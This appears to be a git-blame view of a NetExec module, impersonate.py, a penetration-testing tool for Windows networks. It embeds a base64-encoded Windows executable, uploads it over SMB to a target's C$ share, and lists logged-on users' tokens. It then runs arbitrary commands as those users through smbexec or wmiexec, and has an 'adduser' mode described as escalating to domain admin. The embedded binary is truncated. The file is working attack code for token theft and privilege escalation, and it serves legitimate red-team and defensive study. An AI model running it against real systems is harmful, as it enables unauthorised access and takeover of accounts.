NetExec/cme/modules/impersonate.py

92 lines
177 KiB
Python
Raw Normal View History

2022-10-27 10:21:46 +00:00
from base64 import b64decode
2022-07-04 12:44:35 +00:00
class CMEModule:
name = "impersonate"
description = "List and impersonate tokens to run command as locally logged on users"
supported_protocols = ["smb"]
opsec_safe = True # could be flagged
multiple_hosts = True
def options(self, context, module_options):
'''
2022-10-27 10:21:46 +00:00
MODULE // Module to use (adduser or exec)
TOKEN // Token id to usurp
CMD // Command to exec
2022-07-04 12:44:35 +00:00
'''
self.tmp_dir = "C:\\Windows\\Temp\\"
self.share = "C$"
self.tmp_share = self.tmp_dir.split(":")[1]
self.impersonate = "Impersonate.exe"
2022-10-27 10:21:46 +00:00
self.module = self.token = self.cmd = ""
self.impersonate_embedded = b64decode("TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAAA/offYe8CZi3vAmYt7wJmLb6udinDAmYtvq5qKfsCZi2+rnIrxwJmLKbWcil7AmYsptZ2Ka8CZiym1mopywJmLb6uYinLAmYt7wJiLEcCZi7q1kIp6wJmLurVmi3rAmYu6tZuKesCZi1JpY2h7wJmLAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUEUAAGSGBwBkUlpjAAAAAAAAAADwACIACwIOHQAsAQAA6gAAAAAAANAgAAAAEAAAAAAAQAEAAAAAEAAAAAIAAAYAAAAAAAAABgAAAAAAAAAAYAIAAAQAAAAAAAADAGCBAAAQAAAAAAAAEAAAAAAAAAAAEAAAAAAAABAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAyOIBAGQAAAAAQAIA4AEAAAAQAgDIEAAAAAAAAAAAAAAAUAIAaAYAAPDOAQBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAYM8BADgBAAAAAA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USTI0FQbQBAOswTI0F1LUBAOsng/gDdQlMjQVatAEA6xmFwHUJTI0FdbQBAOsMQTvHdRhMjQWPtAEAuh4AAABIjY1EUQIA6JIzAAAz/0SL10WF7Q+IrwAAAEGNRQFMY9hMjY38BAAAZpBJjYHi/f//TI2FXk4CAEwrwA+3EEIPtwwAK9F1
2022-07-04 12:44:35 +00:00
2022-10-27 10:21:46 +00:00
if "MODULE" in module_options:
if module_options["MODULE"] in ("adduser", "list", "exec"):
self.module = module_options["MODULE"]
else:
context.log.error(f"Invalid module name")
return
if "TOKEN" in module_options and "CMD" in module_options:
self.token = module_options["TOKEN"]
self.cmd = module_options["CMD"]
else:
context.log.error(f"Invalid module, choose between list, adduser and exec")
2022-07-04 12:44:35 +00:00
2022-07-09 16:34:35 +00:00
def list_available_primary_tokens(self, _, connection):
2022-10-27 10:21:46 +00:00
command = f"{self.tmp_dir}Impersonate.exe list"
2022-07-09 16:34:35 +00:00
return connection.execute(command, True)
2022-07-04 12:44:35 +00:00
def on_admin_login(self, context, connection):
with open("/tmp/Impersonate.exe", 'wb') as impersonate:
impersonate.write(self.impersonate_embedded)
context.log.info(f"Uploading {self.impersonate}")
with open("/tmp/Impersonate.exe", 'rb') as impersonate:
try:
connection.conn.putFile(self.share, f"{self.tmp_share}{self.impersonate}", impersonate.read)
2022-07-09 16:34:35 +00:00
context.log.success(f"Impersonate binary successfully uploaded")
2022-07-04 12:44:35 +00:00
except Exception as e:
context.log.error(f"Error writing file to share {self.tmp_share}: {e}")
return
try:
2022-10-27 10:21:46 +00:00
if self.module == "list":
2022-07-09 16:34:35 +00:00
context.log.info(f"Listing available primary tokens")
p = self.list_available_primary_tokens(context, connection)
2022-07-04 12:44:35 +00:00
for line in p.splitlines():
2022-10-27 10:21:46 +00:00
token, token_owner = line.split(" ", 1)
context.log.highlight(f"Primary token ID: {token} {token_owner}")
2022-07-04 12:44:35 +00:00
else:
2022-07-09 16:34:35 +00:00
impersonated_user = ""
p = self.list_available_primary_tokens(context, connection)
for line in p.splitlines():
token_id, token_owner = line.split(" ", 1)
2022-10-27 10:21:46 +00:00
if token_id == self.token:
impersonated_user = token_owner.strip()
2022-07-09 16:34:35 +00:00
break
2022-10-27 10:21:46 +00:00
if impersonated_user:
if self.module == "adduser":
context.log.info(f"Escalating domain admin impersonating {impersonated_user}")
method = "wmiexec"
if self.module == "exec":
context.log.info(f"Executing {self.cmd} as {impersonated_user}")
method="smbexec"
command = f"{self.tmp_dir}Impersonate.exe {self.module} {self.token} {self.cmd}"
for line in connection.execute(command, True, methods=[method]).splitlines():
context.log.highlight(line)
2022-07-09 16:34:35 +00:00
else:
context.log.error(f"Invalid token ID submitted")
2022-07-04 12:44:35 +00:00
except Exception as e:
context.log.error(f"Error runing command: {e}")
finally:
try:
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}")
2022-10-27 10:21:46 +00:00
context.log.success(f"Impersonate binary successfully deleted")
2022-07-04 12:44:35 +00:00
except Exception as e:
2022-10-27 10:21:46 +00:00
context.log.error(f"Error deleting Impersonate.exe on {self.share}: {e}")